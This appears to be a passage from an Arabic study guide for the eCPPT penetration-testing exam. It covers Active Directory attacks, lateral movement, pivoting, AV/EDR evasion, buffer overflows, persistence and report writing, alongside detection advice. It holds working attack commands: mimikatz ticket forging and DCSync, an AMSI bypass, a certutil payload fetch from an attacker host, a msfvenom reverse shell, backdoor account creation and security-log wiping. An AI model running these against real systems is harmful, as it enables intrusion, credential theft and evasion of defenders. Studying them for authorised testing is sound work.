.\Rubeus.exe kerberoast /outfile:hashes.txtباستخدام PowerView:
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcatالكسر:
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txtالكشف والدفاع:
- مراقبة طلبات TGS لعدد كبير من SPNs.
- البحث عن طلبات Service Tickets غير المعتادة.
- استخدام كلمات مرور قوية وطويلة لحسابات الخدمات.
- تطبيق مبدأ أقل الصلاحيات.
لماذا تعد التقنية فعالة؟
- لا تتطلب صلاحيات إدارية خاصة لطلب التذاكر في الحالات المعتادة.
- يتم اختبار كلمة المرور Offline.
- بعض حسابات الخدمات تستخدم كلمات مرور ضعيفة أو قديمة.
- يصعب ملاحظة النشاط دون Logging ومراقبة مناسبة.
-
س17: ما الفرق بين Silver Ticket وGolden Ticket؟
الإجابة:
Silver Ticket:
- ما هو؟ Service Ticket (TGS) مزور.
- المتطلب: NTLM Hash الخاص بحساب الخدمة.
- النطاق: الوصول إلى خدمة محددة فقط.
- الكشف: قد يكون أصعب في بعض الحالات لأنه لا يحتاج إلى التواصل مع DC عند استخدام التذكرة.
- القيود: يعمل للخدمة المحددة التي تم إنشاء التذكرة لها.
- المدة: مرتبطة بصلاحية المفاتيح وكلمة مرور حساب الخدمة.
مثال:
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:hash /user:fakeuser /pttGolden Ticket:
- ما هو؟ Ticket-Granting Ticket (TGT) مزور.
- المتطلب: Hash الخاص بحساب
krbtgt. - النطاق: وصول واسع على مستوى Domain.
- الكشف: يمكن اكتشافه عبر مراقبة Kerberos المناسبة وتحليل الشذوذ.
- القيود: الأثر كبير جداً ما دام مفتاح
krbtgtالمسروق صالحاً. - المدة: يستمر الخطر حتى تدوير كلمة مرور
krbtgtبالطريقة الصحيحة.
مثال:
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /rc4:krbtgt-hash /user:Administrator /pttالفروق الأساسية:
- مستوى الصلاحية: Silver = وصول لخدمة، Golden = وصول واسع إلى Domain.
- الـ Hash المطلوب: Silver = حساب خدمة، Golden =
krbtgt. - التواصل مع DC: يمكن استخدام كلا النوعين دون الرجوع إلى DC في مرحلة استخدام التذكرة المزورة.
- التخفي: Silver قد يكون أقل وضوحاً في بعض السيناريوهات.
- الأثر: Golden أعلى أثراً بكثير.
الكشف والمعالجة:
- مراقبة الشذوذ في TGT/TGS.
- تطبيق PAC Validation حيث يكون ذلك مناسباً.
- تدوير كلمة مرور
krbtgtوفق إجراءات الاستجابة الموصى بها. - استخدام كلمات مرور قوية لحسابات الخدمات.
-
س18: كيف يتم تنفيذ DCSync؟
الإجابة: يحاكي DCSync سلوك Domain Controller في Replication لطلب بيانات اعتماد من DC دون الحاجة إلى تشغيل كود على Domain Controller نفسه.
المتطلبات:
- حساب مخترق يملك صلاحيات Replication مثل:
- Replicating Directory Changes.
- Replicating Directory Changes All.
- وغالباً ما توجد هذه الصلاحيات لدى Domain Admins وEnterprise Admins وDomain Controllers.
التنفيذ باستخدام Mimikatz:
mimikatz # lsadump::dcsync /domain:domain.local /user:Administratormimikatz # lsadump::dcsync /domain:domain.local /user:krbtgtmimikatz # lsadump::dcsync /domain:domain.local /all /csvالتنفيذ باستخدام Impacket:
secretsdump.py domain.local/admin:password@dc-ipsecretsdump.py -just-dc domain.local/admin:password@dc-ipsecretsdump.py -just-dc-user Administrator domain.local/admin@dc-ipما الذي يحدث تقنياً؟
- يتم استخدام Directory Replication Service (DRS) Remote Protocol.
- يتصرف الحساب كما لو كان Domain Controller مخولاً بالReplication.
- يطلب بيانات كلمات المرور من DC الحقيقي.
- يمكن استخراج NTLM Hashes وKerberos Keys بحسب الصلاحيات.
المزايا الهجومية:
- لا يحتاج إلى تشغيل كود مباشرة على DC.
- قد يشبه حركة Replication مشروعة إذا لم تكن هناك مراقبة جيدة.
- يمكن تنفيذه عن بُعد.
- قد يسمح باستخراج بيانات اعتماد Domain على نطاق واسع.
الكشف:
- مراقبة DRS Requests الصادرة من أجهزة ليست Domain Controllers.
- البحث عن نشاط Replication غير معتاد.
- التنبيه عند منح صلاحيات DCSync لحسابات غير إدارية أو غير متوقعة.
ما بعد الاستغلال:
- اختبار قوة الـ hashes المستخرجة.
- قد يستخدم
krbtgtHash في سيناريو Golden Ticket. - قد تستخدم NTLM Hashes في Pass-the-Hash للحركة الجانبية.
- حساب مخترق يملك صلاحيات Replication مثل:
-
س19: اشرح AS-REP Roasting وكيف يختلف عن Kerberoasting.
الإجابة:
AS-REP Roasting:
المفهوم:
- يستهدف الحسابات التي تم تفعيل خيار Do not require Kerberos preauthentication لها.
- يتم طلب AS-REP دون مصادقة مسبقة.
- يحتوي AS-REP على بيانات مشفرة باستخدام مفتاح مشتق من كلمة مرور المستخدم.
- يمكن اختبار قوة كلمة المرور Offline.
التنفيذ على Linux:
GetNPUsers.py domain.local/ -dc-ip dc-ip -usersfile users.txt -format hashcatGetNPUsers.py domain.local/user:password -dc-ip dc-ip -requestالتنفيذ على Windows:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txtالكسر:
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txtالاختلافات عن Kerberoasting:
الجانب AS-REP Roasting Kerberoasting الهدف حسابات مستخدمين حسابات خدمات المتطلب تفعيل “Do not require preauth” وجود SPN للحساب هل يلزم Authentication؟ لا نعم، عادة حساب Domain نوع التذكرة/الاستجابة AS-REP TGS التشفير مفتاح مشتق من كلمة مرور المستخدم مفتاح حساب الخدمة Hashcat Mode 18200 13100 التخفي لا يحتاج إلى Authentication للحساب المستهدف يتطلب طلب TGS من حساب Domain لماذا توجد حسابات بهذا الإعداد؟
- توافق مع تطبيقات قديمة.
- أخطاء إعداد.
- أصبح الإعداد نادراً نسبياً في البيئات الحديثة المضبوطة.
الدفاع:
- تدقيق الحسابات التي تملك هذا الخيار.
- إزالة إعفاءات Preauthentication غير الضرورية.
- تطبيق سياسة كلمات مرور قوية.
- مراقبة AS-REQ التي لا تتضمن Preauthentication.
#الحركة الجانبية وPivoting
-
س20: اشرح تقنيات مختلفة للحركة الجانبية في شبكات Windows.
الإجابة: توجد عدة تقنيات للحركة الجانبية، ويعتمد اختيارها على الخدمات المفتوحة ونوع بيانات الاعتماد المتاحة:
- PSExec:
- يستخدم SMB وNamed Pipes.
- يرفع Service Binary إلى
ADMIN$. - ينشئ خدمة Windows ويشغلها.
psexec.py domain/user:pass@target
- WMIExec:
- يستخدم Windows Management Instrumentation.
- يمكنه تنفيذ الأوامر دون رفع Service Binary بالطريقة نفسها التي يستخدمها PSExec.
- قد يكون أقل وضوحاً من PSExec في بعض السيناريوهات.
wmiexec.py domain/user:pass@target
- SMBExec:
- يستخدم SMB وService Control Manager.
- يشبه PSExec من حيث الهدف، لكن آلية التنفيذ مختلفة.
smbexec.py domain/user:pass@target
- WinRM (Evil-WinRM):
- يعتمد على Windows Remote Management عبر HTTP/HTTPS.
- المنفذ 5985 لـ HTTP أو5986 لـ HTTPS.
evil-winrm -i target -u user -p pass
- RDP:
- Remote Desktop Protocol.
- المنفذ الافتراضي 3389.
xfreerdp /u:user /p:pass /v:target
- DCOM:
- Distributed Component Object Model.
- من أمثلته
MMC20.ApplicationوShellWindowsوExcel. - قد يسمح بتنفيذ أوامر دون كتابة ملفات إضافية في بعض الحالات.
- Pass-the-Hash:
- استخدام NTLM Hash بدلاً من كلمة المرور.
psexec.py -hashes :hash user@target
- Pass-the-Ticket:
- استخدام Kerberos Tickets.
export KRB5CCNAME=ticket.ccachepsexec.py domain/user@target -k -no-pass
- Overpass-the-Hash:
- استخدام NTLM Hash للحصول على Kerberos Ticket.
- يمكن استخدام Rubeus أوMimikatz في مختبرات الاختبار.
اختيار التقنية المناسبة يعتمد على:
- المنافذ والخدمات المتاحة.
- نوع بيانات الاعتماد المتوفرة: Password أوHash أوTicket.
- متطلبات التخفي والمراقبة.
- إصدار نظام التشغيل المستهدف.
- وسائل الحماية المفروضة في البيئة.
- PSExec:
-
س21: كيف تنشئ Pivot للوصول إلى شبكات داخلية؟
الإجابة: يمكن إنشاء Pivot بعدة طرق:
- SSH Tunneling:
- Local Port Forward:
ssh -L 3389:internal-target:3389 user@pivot - Remote Port Forward:
ssh -R 8080:localhost:80 user@pivot - Dynamic (SOCKS):
ssh -D 1080 user@pivot
- Local Port Forward:
- Metasploit Autoroute:
meterpreter > run autoroute -s 10.10.10.0/24msf > use auxiliary/server/socks_proxymsf > run -j - Chisel:
- جهة المختبر:
./chisel server -p 8000 --reverse - جهاز Pivot:
./chisel client attacker:8000 R:1080:socks
- جهة المختبر:
- Ligolo-ng:
- جهة المختبر:
sudo ip tuntap add user $USER mode tun ligolo - جهة المختبر:
sudo ip link set ligolo up - جهة المختبر:
./proxy -selfcert - جهاز Pivot:
./agent -connect attacker:11601 -ignore-cert - إضافة Route:
sudo ip route add 10.10.10.0/24 dev ligolo
- جهة المختبر:
- Sshuttle:
sshuttle -r user@pivot 10.10.10.0/24 - إعداد Proxychains:
- تعديل
/etc/proxychains.conf. - إضافة:
socks4 127.0.0.1 1080. - الاستخدام:
proxychains nmap -sT -Pn target.
- تعديل
اختيار طريقة Pivot:
- SSH: عند توفر وصول SSH.
- Metasploit: عند وجود Meterpreter Session.
- Chisel: أداة سريعة ومتعددة المنصات بملف تنفيذي واحد.
- Ligolo-ng: مناسب للوصول الشبكي الشفاف وإضافة Routes.
- Sshuttle: يوفر تجربة شبيهة بـ VPN باستخدام SSH.
اختبار Pivot:
proxychains nmap -sT -Pn 10.10.10.5proxychains crackmapexec smb 10.10.10.0/24 - SSH Tunneling:
#الاستغلال وتجاوز وسائل الحماية
-
س22: كيف يتم اختبار تجاوز Antivirus وEDR؟
الإجابة: توجد عدة فئات من تقنيات AV/EDR Bypass التي يتم تقييمها داخل بيئات مخبرية أو مهام Red Team مصرح بها:
- Obfuscation:
- ترميز الحمولات باستخدام
msfvenom. - استخدام Encrypters أوPackers مخصصة.
- إخفاء سكربتات PowerShell بأدوات مثل Invoke-Obfuscation.
- تغيير السلاسل النصية وتشفيرها.
- ترميز الحمولات باستخدام
- In-Memory Execution:
- PowerShell:
IEX (New-Object Net.WebClient).DownloadString('url') - Reflective DLL Injection.
- Process Hollowing.
- تقليل الاعتماد على ملفات يتم كتابتها إلى القرص.
- PowerShell:
- Living-off-the-Land (LOLBins):
- استخدام أدوات Windows شرعية موجودة أصلاً في النظام.
- أمثلة:
certutilوbitsadminوmshtaوregsvr32. certutil -urlcache -f http://attacker/payload.exe payload.exe
- AMSI Bypass:
- تعديل أوPatch مكونات AMSI داخل الذاكرة في بيئات الاختبار.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
- Custom Shellcode Loaders:
- كتابة Loaders مخصصة باستخدام C/C#.
- استخدام Syscalls بصورة مباشرة في بعض الأبحاث المتقدمة.
- تقليل الاعتماد على High-Level APIs التي تتم مراقبتها بكثافة.
- Fileless Malware:
- التنفيذ بصورة أساسية داخل الذاكرة.
- استخدام WMI أوRegistry أوScheduled Tasks بحسب السيناريو.
- تقليل إنشاء ملفات تنفيذية على القرص.
- Encryption & Polymorphism:
- تشفير الحمولة بمفتاح مختلف.
- تغيير Signature للحمولة بين الإصدارات.
- استخدام أدوات مثل Veil وShellter في المختبرات.
- Timing & Behavior:
- الانتظار قبل تنفيذ بعض الأنشطة.
- محاكاة سلوك التطبيقات المشروعة.
- اختبار آليات اكتشاف Sandbox.
- Process Injection:
- حقن الكود في Processes مشروعة.
- DLL Injection وReflective DLL Injection.
- Process Doppelgänging في الأبحاث المتقدمة.
اختبار التجاوزات:
- استخدام VirusTotal بحذر لأن العينات أوالتوقيعات قد تتم مشاركتها مع موردي الحماية.
- تنفيذ الاختبارات داخل بيئة معزولة.
- استخدام خدمات فحص لا تشارك العينات عندما تسمح السياسة بذلك.
- تكرار الاختبار بناءً على نتائج الاكتشاف.
اعتبارات أخلاقية:
- الاختبار فقط على أنظمة مصرح بها.
- توثيق تقنيات التجاوز التي تم التحقق منها.
- رفع النتائج للعميل مع توصيات المعالجة.
- Obfuscation:
-
س23: اشرح عملية استغلال Buffer Overflow.
الإجابة: يعتمد Buffer Overflow على تجاوز حدود الذاكرة المخصصة للمدخل بهدف التأثير في تدفق تنفيذ البرنامج.
العملية:
- Fuzzing:
- إرسال حمولات يتزايد حجمها تدريجياً إلى التطبيق حتى يحدث Crash.
- تحديد الحجم التقريبي للحمولة التي أدت إلى الانهيار.
- مثال: إرسال
"A"*100ثم"A"*200وهكذا.
- التحكم في EIP:
- إنشاء Pattern فريد:
msf-pattern_create -l 3000. - إرسال Pattern إلى التطبيق.
- تسجيل قيمة EIP عند حدوث Crash.
- العثور على Offset:
msf-pattern_offset -q 0x41424344.
- إنشاء Pattern فريد:
- التحقق من التحكم:
- إرسال:
"A" * offset + "BBBB" + "C" * remaining. - التأكد من أن EIP يحتوي على
0x42424242أيBBBB.
- إرسال:
- تحديد Bad Characters:
- إرسال البايتات من
0x00إلى0xFFبعد EIP. - تحديد القيم التي تتعرض للتغيير أوالقطع، وغالباً من الأمثلة
0x00و0x0Aو0x0D. - يجب استبعاد هذه القيم من Shellcode والعناوين المستخدمة.
- إرسال البايتات من
- العثور على نقطة القفز:
- البحث عن تعليمة مثل
JMP ESPأوما يعادلها. - باستخدام mona:
!mona jmp -r esp -cpb "\x00\x0a\x0d". - يفضل عنوان من Module غير محمي بـ ASLR/DEP في السيناريو التعليمي التقليدي.
- يجب ألا يحتوي العنوان على Bad Characters.
- البحث عن تعليمة مثل
- إنشاء Shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=attacker LPORT=4444 -b "\x00\x0a\x0d" -f python - الاستغلال النهائي:
- الحمولة =
"A"*offset + JMP_ESP_address + NOP_sled + shellcode. - يوفر NOP Sled (
0x90) مساحة هبوط قبل Shellcode. - إرسال Buffer النهائي إلى التطبيق داخل المختبر.
- الحمولة =
SEH-Based Overflow:
- بدلاً من EIP يتم استهداف سلسلة SEH.
- يتطلب POP POP RET Gadget.
- يتم استخدام Short Jump للوصول إلى Shellcode.
وسائل الحماية:
- DEP/NX: منع التنفيذ من Stack أوصفحات ذاكرة معينة.
- ASLR: عشوائية عناوين الذاكرة.
- Stack Canaries: اكتشاف الكتابة خارج الحدود.
- CFG: Control Flow Guard.
تقنيات تجاوز الحماية:
- ROP Chains لتجاوز DEP.
- Information Leaks للمساعدة في تجاوز ASLR.
- Heap Spraying في سيناريوهات محددة.
- Fuzzing:
#ما بعد الاستغلال والاستمرارية (Persistence)
-
س24: ما تقنيات Persistence الشائعة في Windows؟
الإجابة: من تقنيات الاستمرارية التي يتم اختبارها في مهام مصرح بها:
- Registry Autoruns:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe" - Scheduled Tasks:
schtasks /create /tn "Updater" /tr "C:\path\to\backdoor.exe" /sc onlogonschtasks /create /tn "Updater" /tr "powershell -c IEX..." /sc daily /st 12:00 - Services:
sc create BackdoorService binpath= "C:\path\to\backdoor.exe" start= auto - Startup Folder:
copy backdoor.exe "C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" - WMI Event Subscriptions:
- إنشاء Event Filter وConsumer وBinding.
- يمكن ضبطها للتنفيذ عند أحداث مثل Logon أووقت محدد.
- DLL Hijacking:
- وضع DLL داخل مسار يعتمد عليه تطبيق ضعيف.
- يقوم التطبيق بتحميل DLL عند التشغيل.
- Accessibility Features:
copy cmd.exe C:\Windows\System32\sethc.exe- في السيناريو التقليدي يتم استدعاء Sticky Keys من شاشة تسجيل الدخول.
- إنشاء حساب:
net user hacker Password123! /addnet localgroup administrators hacker /add- قد تستخدم بعض السيناريوهات اسماً ينتهي بـ
$لتقليل ظهوره في بعض الواجهات القديمة.
- قد تستخدم بعض السيناريوهات اسماً ينتهي بـ
- Golden Ticket:
- إنشاء TGT مزور باستخدام
krbtgtHash. - قد يوفر وصولاً مستمراً إلى Domain حتى يتم تدوير مفاتيح
krbtgtبصورة صحيحة.
- إنشاء TGT مزور باستخدام
- COM Hijacking:
- تعديل Registry لتغيير COM Object.
- يتم التنفيذ عندما يستخدم تطبيق مشروع ذلك COM Object.
اعتبارات التخفي:
- تجنب الأسماء الواضحة في اختبارات Red Team المتقدمة.
- استخدام مسارات تشبه الأنماط المشروعة عند تقييم آليات الكشف.
- تطبيق Checks قبل التنفيذ لتقليل الضوضاء.
- تنظيف Indicators التي تم إنشاؤها بعد انتهاء المهمة وفق قواعد الاشتباك.
- محاكاة الأنماط التشغيلية الطبيعية عند قياس قدرات الرصد.
الكشف:
- استخدام Autoruns من Sysinternals.
- مراقبة تغييرات Registry.
- تتبع Scheduled Tasks.
- مراجعة Services.
- إنشاء Baseline والتنبيه عند حدوث تغييرات غير متوقعة.
- Registry Autoruns:
-
س25: كيف تتعامل مع تنظيف الآثار أثناء اختبار اختراق؟
الإجابة: يحتوي الملف الأصلي على تقنيات Covering Tracks، لكن في الاختبارات الاحترافية يجب تنفيذ أي تنظيف أوتعديل للسجلات فقط إذا كان مصرحاً به صراحة، لأن هذه الإجراءات قد تؤثر في Incident Response والأدلة.
-
مسح Event Logs:
wevtutil cl Systemwevtutil cl Securitywevtutil cl ApplicationLinux:
echo "" > /var/log/auth.log -
Selective Log Deletion:
- حذف مدخلات محددة بدلاً من مسح السجل بالكامل.
- قد يكون أقل وضوحاً من مسح السجل كاملاً.
- يمكن استخدام PowerShell لتصفية بعض الأحداث في المختبرات.
-
Timestamp Manipulation:
Windows:
timestomp -m "MM/DD/YYYY HH:MM:SS" file.exeLinux:
touch -t 202301011200 file -
حذف الملفات:
- حذف الملفات التي تم رفعها أثناء المهمة.
sdelete -p 7 file.exeعلى Windows.shred -vfz -n 7 fileعلى Linux.
-
Command History:
Windows:
Clear-HistoryLinux:
history -c; history -wunset HISTFILE -
Network Artifacts:
- إغلاق الاتصالات المستخدمة.
- إزالة قواعد Firewall المضافة للاختبار.
- حذف قواعد Port Forwarding.
-
Service Cleanup:
- إزالة الخدمات التي تم إنشاؤها.
- حذف Scheduled Tasks.
- إزالة تعديلات Registry.
-
Account Cleanup:
- حذف حسابات المستخدمين التي تم إنشاؤها.
- إزالة أي عضويات تمت إضافتها إلى مجموعات الإدارة.
- معالجة تغييرات كلمات المرور بحسب خطة الاختبار.
أفضل الممارسات:
- توثيق جميع التعديلات أثناء المهمة.
- إعداد Cleanup Checklist.
- التحقق من اكتمال التنظيف.
- قد يجب الاحتفاظ ببعض الأدلة لأغراض التقرير.
- الموازنة بين التنظيف والحفاظ على الأدلة.
ملاحظة مهمة:
- إخفاء الآثار قد يتداخل مع Incident Response.
- لا يتم تنفيذه إلا بتفويض صريح.
- بعض المؤسسات تطلب عدم إزالة الآثار حتى يتمكن فريق الدفاع من تحليلها.
- في المهام الاحترافية يكون التركيز على التوثيق وإعادة البيئة إلى حالتها المتفق عليها، وليس على إخفاء النشاط.
-
#التقارير والتواصل
-
س26: ماذا يجب أن يتضمن تقرير اختبار الاختراق؟
الإجابة: يمكن تنظيم تقرير اختبار اختراق شامل كما يلي:
-
Executive Summary:
- نظرة عامة عالية المستوى للإدارة.
- أبرز النتائج والمخاطر.
- الأثر على الأعمال.
- تقييم عام للوضع الأمني.
- ملخص للتوصيات.
-
Scope & Objectives:
- تفاصيل المهمة.
- الأنظمة التي تم اختبارها.
- منهجية الاختبار.
- تواريخ الاختبار ومدته.
- قواعد الاشتباك.
- القيود والاستثناءات.
-
Methodology:
- أسلوب الاختبار.
- الأدوات المستخدمة.
- مراحل الاختبار.
- المعايير أوالأطر المتبعة مثل OWASP وPTES.
-
Technical Findings:
لكل ثغرة يجب تضمين:
- Severity — Critical / High / Medium / Low.
- Description — وصف الثغرة.
- Impact — ما الذي يستطيع المهاجم فعله نتيجة الثغرة.
- Affected Systems — الأنظمة أوالمكونات المتأثرة.
- Evidence — لقطات شاشة، Logs، ومخرجات أوامر.
- Reproduction Steps — خطوات التحقق وإعادة الإنتاج.
- Remediation — طريقة المعالجة.
- References — CVE وCWE وروابط مرجعية.
-
Risk Ratings:
- CVSS Scores.
- Risk Matrix مخصصة عند الحاجة.
- تحليل Likelihood مقابل Impact.
-
Attack Narrative:
- سلسلة الاستغلال التي تم تنفيذها.
- كيفية الانتقال بين الأنظمة أوالمراحل.
- توضيح Attack Path واقعي يربط النتائج ببعضها.
-
Recommendations:
- خطة معالجة مرتبة حسب الأولوية.
- Quick Wins.
- تحسينات طويلة المدى.
- توصيات استراتيجية.
-
Appendices:
- نتائج الفحص التفصيلية.
- مخرجات الأدوات الكاملة عند الحاجة.
- تفاصيل إضافية للثغرات.
- Timeline للاختبار.
أفضل ممارسات التقرير:
- استخدام لغة واضحة واحترافية.
- تجنب المصطلحات التقنية المعقدة في Executive Summary قدر الإمكان.
- استخدام وسائل بصرية مثل المخططات والرسوم ولقطات الشاشة.
- تقديم توصيات قابلة للتنفيذ.
- توضيح خطوات المعالجة فنياً.
- تضمين النتائج الإيجابية أيضاً، وليس نقاط الضعف فقط.
- مراجعة التقرير لغوياً وتقنياً قبل التسليم.
-
#🔑 الخلاصات الرئيسية
#المهارات الأساسية لـ eCPPT
- Network Enumeration: إتقان Nmap، وفهم تحديد الخدمات، ومعرفة المنافذ والبروتوكولات الشائعة.
- Web Application Testing: إتقان Burp Suite، وفهم OWASP Top 10، والقدرة على الاختبار اليدوي للثغرات.
- Exploitation: التعامل بثقة مع Metasploit والاستغلالات اليدوية وفهم كيفية البحث في الثغرات.
- Post-Exploitation: تصعيد الصلاحيات في Windows وLinux، وجمع بيانات الاعتماد، وفهم آليات الحفاظ على الوصول في المختبرات.
- Active Directory: فهم Kerberos وLDAP وهجمات AD الشائعة وأدوات حصر Domain.
- Lateral Movement: معرفة عدة تقنيات للحركة الجانبية، وPass-the-Hash وPass-the-Ticket والتنفيذ عن بُعد.
- Pivoting: فهم التنقل عبر الشبكات، وTunneling، وإعداد Proxies، واستخدام أكثر من أداة Pivot.
- Reporting: توثيق واضح، وجمع الأدلة، وإعداد تقرير احترافي.
#أهم الأوامر التي ينبغي تذكرها
# Scanning
nmap -sV -sC -p- target
gobuster dir -u http://target -w wordlist.txt
# Enumeration
enum4linux -a target
crackmapexec smb target -u users.txt -p passwords.txt
# Exploitation
searchsploit service version
msfconsole
# Web
sqlmap -u "url" --batch --dump
nikto -h http://target
# Active Directory
GetUserSPNs.py domain/user:pass -dc-ip DC-IP -request
secretsdump.py domain/admin@DC-IP
# Lateral Movement
psexec.py domain/user:pass@target
evil-winrm -i target -u user -p pass
# Pivoting
ssh -D 1080 user@pivot
chisel server -p 8000 --reverse
# Privilege Escalation (Windows)
whoami /priv
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Privilege Escalation (Linux)
find / -perm -4000 -type f 2>/dev/null
sudo -l
#أخطاء شائعة يجب تجنبها
- عدم توثيق الخطوات والأدلة أثناء الاختبار.
- نسيان فحص أخطاء الإعداد الأساسية.
- تجاهل الفرص البسيطة مثل بيانات الاعتماد الافتراضية أوكلمات المرور الضعيفة.
- تشغيل Exploit دون فهم آلية عمله وتأثيره.
- عدم التأكد من نجاح الاستغلال بصورة فعلية.
- عدم تنفيذ Cleanup بصورة صحيحة بعد الاختبار.
- تنفيذ الاستغلال قبل إجراء Enumeration كافٍ.
- إهمال بعض مسارات تصعيد الصلاحيات.
- نسيان اختبار إعادة استخدام بيانات الاعتماد بين الأنظمة ضمن النطاق.
- عدم ضبط نطاق الأنشطة جيداً عند إجراء Active Directory Enumeration.
#نصائح الدراسة لـ eCPPT
- التدريب داخل بيئات مختبرية مثل HTB وPG Practice وVulnHub.
- التركيز على المنهجية وليس الأدوات فقط.
- فهم لماذا تعمل كل تقنية، وليس حفظ الأوامر فقط.
- بناء ملاحظات شاملة ومنظمة مثل هذا الدليل.
- التدرب على كتابة تقارير اختبار الاختراق.
- التدرب مع توقيت محدد لمحاكاة ضغط الاختبار.
- إتقان Pivoting لأنه جزء مهم من eCPPT.
- فهم Active Directory بصورة عميقة.
- التدريب المكثف على Privilege Escalation.
- مراجعة إطار MITRE ATT&CK.
#📚 مصادر إضافية
#التوثيق والمراجع
- HackTricks: https://book.hacktricks.xyz/
- GTFOBins: https://gtfobins.github.io/
- LOLBAS: https://lolbas-project.github.io/
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- MITRE ATT&CK: https://attack.mitre.org/
#منصات التدريب
- HackTheBox: أجهزة Retired وPro Labs.
- Proving Grounds: بيئة تدريب عملية من OffSec.
- VulnHub: أجهزة افتراضية ضعيفة مجانية.
- TryHackMe: مسارات تعلم موجهة.
#Cheat Sheets
- Nmap Cheat Sheet.
- مرجع أوامر Impacket.
- PowerView Cheat Sheet.
- مرجع أوامر Metasploit.
- قائمة فحص لتصعيد الصلاحيات في Linux.
- قائمة فحص لتصعيد الصلاحيات في Windows.
